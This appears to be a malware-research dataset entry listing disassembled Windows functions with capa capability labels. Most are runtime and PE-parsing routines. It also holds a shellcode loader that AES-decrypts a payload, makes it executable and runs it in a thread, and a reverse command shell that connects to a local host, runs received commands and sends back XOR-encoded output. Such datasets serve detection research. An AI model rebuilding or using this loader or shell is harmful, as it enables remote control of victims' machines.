joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x14000a9f0]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rbp
mov rax, rdi
lock cmpxchg qword [rbx], rsi
test rax, rax
jne 0x1400011b0
mov rsi, qword [0x14000aa00]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x14000e008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x14000a960]
mov rax, qword [rax]
test rax, rax
je 0x140001223
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call dbg._pei386_runtime_relocator
mov rcx, qword [dbg._gnu_exception_handler]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x14000a9e0]
lea rcx, [dbg.__mingw_invalidParameterHandler]
mov qword [rdx], rax
call sym._set_invalid_parameter_handler
call dbg._fpreset
mov ebx, dword [0x14000e028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sym.malloc
mov r12, qword [0x14000e020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
mov rcx, qword [r12 + rbx]
call sym.strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sym.malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sym.memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x14000e020], rbp
call dbg.__main
mov rax, qword [0x14000a970]
mov r8, qword [0x14000e018]
mov ecx, dword [0x14000e028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x14000e020]
call sym.main
mov ecx, dword [0x14000e00c]
mov dword [0x14000e010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x14000e008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x14000aa00]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011e1
mov ecx, 0x1f
call dbg._amsg_exit
mov eax, dword [rsi]
cmp eax, 1
jne 0x140001200
mov rdx, qword [0x14000aa30]
mov rcx, qword [0x14000aa20]
call sym._initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001208
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001208
call sym._cexit
mov eax, dword [0x14000e010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x14000aa50]
mov rcx, qword [0x14000aa40]
mov dword [rsi], 1
call sym._initterm
jmp 0x1400011f5
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sym.exit
nop
Function at 0x140001450
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov eax, edx
mov byte [rbp + 0x18], al
mov rax, qword [rbp + 0x10]
movzx eax, byte [rax]
mov byte [rbp - 1], al
mov rax, qword [rbp + 0x10]
movzx edx, byte [rax + 1]
mov rax, qword [rbp + 0x10]
mov byte [rax], dl
mov rax, qword [rbp + 0x10]
lea rdx, [rax + 1]
mov rax, qword [rbp + 0x10]
movzx eax, byte [rax + 2]
mov byte [rdx], al
mov rax, qword [rbp + 0x10]
lea rdx, [rax + 2]
mov rax, qword [rbp + 0x10]
movzx eax, byte [rax + 3]
mov byte [rdx], al
mov rax, qword [rbp + 0x10]
lea rdx, [rax + 3]
movzx eax, byte [rbp - 1]
mov byte [rdx], al
mov rax, qword [rbp + 0x10]
movzx eax, byte [rax]
movzx eax, al
cdqe
lea rdx, [0x140009700]
movzx edx, byte [rax + rdx]
mov rax, qword [rbp + 0x10]
mov byte [rax], dl
mov rax, qword [rbp + 0x10]
add rax, 1
movzx eax, byte [rax]
movzx eax, al
mov rdx, qword [rbp + 0x10]
add rdx, 1
cdqe
lea rcx, [0x140009700]
movzx eax, byte [rax + rcx]
mov byte [rdx], al
mov rax, qword [rbp + 0x10]
add rax, 2
movzx eax, byte [rax]
movzx eax, al
mov rdx, qword [rbp + 0x10]
add rdx, 2
cdqe
lea rcx, [0x140009700]
movzx eax, byte [rax + rcx]
mov byte [rdx], al
mov rax, qword [rbp + 0x10]
add rax, 3
movzx eax, byte [rax]
movzx eax, al
mov rdx, qword [rbp + 0x10]
add rdx, 3
cdqe
lea rcx, [0x140009700]
movzx eax, byte [rax + rcx]
mov byte [rdx], al
mov rax, qword [rbp + 0x10]
movzx ecx, byte [rax]
movzx eax, byte [rbp + 0x18]
cdqe
lea rdx, [0x140009600]
movzx eax, byte [rax + rdx]
xor ecx, eax
mov edx, ecx
mov rax, qword [rbp + 0x10]
mov byte [rax], dl
nop
add rsp, 0x10
pop rbp
ret
Function at 0x140001560
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp - 4], 0
jmp 0x14000159c
mov eax, dword [rbp - 4]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov edx, dword [rbp - 4]
movsxd rcx, edx
mov rdx, qword [rbp + 0x18]
add rdx, rcx
movzx eax, byte [rax]
mov byte [rdx], al
add dword [rbp - 4], 1
cmp dword [rbp - 4], 0xf
jle 0x140001579
mov dword [rbp - 8], 0x10
mov dword [rbp - 0xc], 1
jmp 0x140001658
mov dword [rbp - 0x10], 0
jmp 0x1400015e3
mov edx, dword [rbp - 0x10]
mov eax, dword [rbp - 8]
add eax, edx
cdqe
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x18]
add rax, rdx
movzx edx, byte [rax]
mov eax, dword [rbp - 0x10]
cdqe
mov byte [rbp + rax - 0x15], dl
add dword [rbp - 0x10], 1
cmp dword [rbp - 0x10], 3
jle 0x1400015be
mov eax, dword [rbp - 8]
and eax, 0xf
test eax, eax
jne 0x14000160b
mov eax, dword [rbp - 0xc]
lea edx, [rax + 1]
mov dword [rbp - 0xc], edx
movzx edx, al
lea rax, [rbp - 0x15]
mov rcx, rax
call sym.KeyExpansionCore_unsigned_char__unsigned_char_
mov byte [rbp - 0x11], 0
jmp 0x140001652
mov eax, dword [rbp - 8]
cdqe
lea rdx, [rax - 0x10]
mov rax, qword [rbp + 0x18]
add rax, rdx
movzx r8d, byte [rax]
movzx eax, byte [rbp - 0x11]
cdqe
movzx ecx, byte [rbp + rax - 0x15]
mov eax, dword [rbp - 8]
movsxd rdx, eax
mov rax, qword [rbp + 0x18]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp - 8], 1
movzx eax, byte [rbp - 0x11]
add eax, 1
mov byte [rbp - 0x11], al
cmp byte [rbp - 0x11], 3
jbe 0x140001611
cmp dword [rbp - 8], 0xaf
jle 0x1400015b5
nop
nop
add rsp, 0x40
pop rbp
ret

Function at 0x140001f3c
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov dword [rbp - 4], 0
jmp 0x140001f84
mov eax, dword [rbp - 4]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
movzx eax, byte [rax]
movzx eax, al
mov edx, dword [rbp - 4]
movsxd rcx, edx
mov rdx, qword [rbp + 0x10]
add rdx, rcx
cdqe
lea rcx, [0x140009100]
movzx eax, byte [rax + rcx]
mov byte [rdx], al
add dword [rbp - 4], 1
cmp dword [rbp - 4], 0xf
jle 0x140001f51
nop
nop
add rsp, 0x10
pop rbp
ret
Function at 0x140002453
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x28], r9
mov dword [rbp - 0x14], 0
mov eax, dword [rbp + 0x18]
cdqe
mov r9d, 4
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x10], rax
cmp qword [rbp + 0x10], 0
jne 0x1400024b7
lea rax, str.____Error:_Allocation_memoire.
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 1
jmp 0x140002605
lea rax, str.___:_Allocation_de_memoire_avec_succes._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, dword [rbp + 0x18]
movsxd rcx, eax
mov rdx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x10]
mov r8, rcx
mov rcx, rax
call sym.memmove
lea rax, str.___:_Apres_Ecriture_du_payload._n
mov rcx, rax
call sym.printf_char_const__::_
mov dword [rbp - 4], 0
jmp 0x140002523
mov eax, dword [rbp - 4]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
lea r8, [rdx + rax]
mov eax, dword [rbp - 4]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x28]
mov rdx, rax
call sym.AESDecrypt_unsigned_char__unsigned_char__unsigned_char_
add dword [rbp - 4], 0x10
mov eax, dword [rbp - 4]
cmp eax, dword [rbp + 0x18]
jl 0x1400024f7
mov eax, dword [rbp + 0x18]
movsxd rdx, eax
lea rcx, [rbp - 0x14]
mov rax, qword [rbp + 0x10]
mov r9, rcx
mov r8d, 0x20
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp - 8], eax
cmp dword [rbp - 8], 0
jne 0x140002570
lea rax, str.____Error:_Changement_de_privilege_de_la_memoire.
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 1
jmp 0x140002605
lea rax, str.___:_Changement_de_privilge_de_la_memoire_avec_succes._n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x1400025dc
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____Erreur_lors_de_la_creation_du_thread_:__s
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 1
jmp 0x140002605
lea rax, str.___:_Creation_de_Thread_avec_succes._n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp - 0x10]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov eax, 0
add rsp, 0x50
pop rbp
ret

Function at 0x140002a00
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call dbg.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140002a70
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000e094]
mov rbx, rcx
test esi, esi
jle 0x140002ba0
mov rax, qword [0x14000e098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140002abb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002b45
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002aa0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140002bc2
mov rax, qword [0x14000e098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000e098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002ba7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140002b3e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140002b50
add dword [0x14000e094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000e098]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002b3e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140002ac8
mov rax, qword [0x14000e098]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140003150
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000e100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000e0e0]
test rbx, rbx
je 0x1400031ac
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x1400031a3
test eax, eax
jne 0x1400031a3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140003188
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400033c0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400033d8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400033e0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x1400033f0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000343d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140003434
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000343f
add rax, 0x28
cmp rax, r9
jne 0x140003420
xor eax, eax
ret

Function at 0x140003440
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400034d0
mov rdx, qword [0x14000a930]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400034be
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400034be
cmp word [rax + 0x18], 0x20b
jne 0x1400034be
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400034d0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400034a9
add rbx, 0x28
cmp rbx, rdi
je 0x1400034d0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400034a0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400034e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a930]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140003500
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140003508
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003500
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000355d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140003554
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140003500
add rax, 0x28
cmp rax, r9
jne 0x140003540
xor eax, eax
ret

Function at 0x140003560
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a930]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000357f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140003588
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000357f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400035a0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14000a930]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400035c0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400035c8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400035c0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140003610
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140003607
test rcx, rcx
je 0x1400035c0
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x1400035f8
xor eax, eax
ret
Function at 0x140003620
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a930]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000363f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140003648
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140003660
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a930]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140003680
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140003688
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003680
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140003680
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400036d4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400036e0
add rdx, 0x28
cmp rdx, r9
jne 0x1400036c0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1400036f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14000a930]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140003712
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140003720
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003712
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140003712
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140003712
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140003775
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140003788
add rdx, 0x28
cmp r10, rdx
jne 0x140003760
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140003797
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400037a7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000377e
test ecx, ecx
jg 0x140003790
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret

Function at 0x140001970
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400019ba
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400019ba
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400019ba
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400019ba
cmp dword [rcx + 0x84], 0xe
jbe 0x1400019ba
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400019bc
xor al, al
add rsp, 0x28
ret
Function at 0x140001070
Capabilities:
Encode data using xor
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rdi
sub rsp, 0x840
movaps xmmword [rsp + 0x830], xmm6
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x820], rax
movdqa xmm6, xmmword [str.KKKKKKKKKKKKKKKK_]
mov rdi, rcx
lea rcx, [rsp + 0x20]
xor edx, edx
mov r8d, 0x400
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
lea rdx, [rsp + 0x20]
mov r8d, 0x3ff
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x14000128d
mov qword [rsp + 0x858], rbx
nop word [rax + rax]
mov ecx, eax
cmp rcx, 0x400
jae 0x1400012ae
mov byte [rsp + rcx + 0x20], 0
lea rdx, [0x14000331c]
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov rbx, rax
test rax, rax
je 0x140001254
mov r8, rax
lea rcx, [rsp + 0x20]
mov edx, 0x400
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
je 0x14000124b
nop
lea rcx, [rsp + 0x20]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140001140
xor r8d, r8d
xor edx, edx
cmp rax, 0x40
jb 0x1400011b8
mov r9, rax
and r9, 0xffffffffffffffc0
nop dword [rax + rax]
movdqu xmm0, xmmword [rsp + rdx + 0x20]
add r8d, 0x40
movdqu xmm1, xmmword [rsp + rdx + 0x30]
movsxd rcx, r8d
xorps xmm0, xmm6
movdqu xmmword [rsp + rdx + 0x420], xmm0
movdqu xmm0, xmmword [rsp + rdx + 0x40]
xorps xmm1, xmm6
movdqu xmmword [rsp + rdx + 0x430], xmm1
movdqu xmm1, xmmword [rsp + rdx + 0x50]
xorps xmm0, xmm6
movdqu xmmword [rsp + rdx + 0x440], xmm0
xorps xmm1, xmm6
movdqu xmmword [rsp + rdx + 0x450], xmm1
add rdx, 0x40
cmp rcx, r9
jb 0x140001160
movsxd rcx, r8d
cmp rcx, rax
jae 0x1400011fa
lea rcx, [rsp + 0x420]
add rdx, rcx
lea r9, [rsp + 0x20]
lea rcx, [rsp + 0x420]
sub r9, rcx
nop dword [rax + rax]
movzx ecx, byte [r9 + rdx]
lea rdx, [rdx + 1]
xor cl, 0x4b
inc r8d
mov byte [rdx - 1], cl
movsxd rcx, r8d
cmp rcx, rax
jb 0x1400011e0
mov byte [rsp + rax + 0x420], 0
mov r8, 0xffffffffffffffff
lea rax, [rsp + 0x420]
inc r8
cmp byte [rax + r8], 0
jne 0x140001211
xor r9d, r9d
lea rdx, [rsp + 0x420]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
mov r8, rbx
lea rcx, [rsp + 0x20]
mov edx, 0x400
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
jne 0x140001130
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x400
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
lea rdx, [rsp + 0x20]
mov r8d, 0x3ff
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x1400010e0
mov rbx, qword [rsp + 0x858]
mov rcx, qword [rsp + 0x820]
xor rcx, rsp
call fcn.140001440
movaps xmm6, xmmword [rsp + 0x830]
add rsp, 0x840
pop rdi
ret
call fcn.140001568
int3
Function at 0x1400012c0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Convert ip address from string
Create tcp socket
Initialize winsock library

Disassembly:
sub rsp, 0x1e8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
mov ecx, 0x202
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140001316
lea rcx, str.Winsock_initialization_failed._n
call fcn.140001010
mov eax, 1
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.140001440
add rsp, 0x1e8
ret
mov qword [rsp + 0x1f0], rbx
mov edx, 1
mov qword [rsp + 0x1e0], rdi
mov r8d, 6
mov edi, 2
mov ecx, edi
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14000136b
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.Socket_creation_failed___d_._n
call fcn.140001010
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x140001402
mov ecx, 0x115c
mov word [rsp + 0x20], di
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0x24]
mov ecx, edi
lea rdx, str.127.0.0.1
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
jg 0x1400013a6
lea rcx, str.Invalid_IP_address_format._n
call fcn.140001010
jmp 0x1400013d3
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1400013e9
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.Connection_failed___d_._n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x140001402
mov rcx, rbx
call fcn.140001070
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov rbx, qword [rsp + 0x1f0]
mov rdi, qword [rsp + 0x1e0]
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.140001440
add rsp, 0x1e8
ret

Function at 0x140001e24
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001e6e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001e6e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001e6e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001e6e
cmp dword [rcx + 0x84], 0xe
jbe 0x140001e6e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001e70
xor al, al
add rsp, 0x28
ret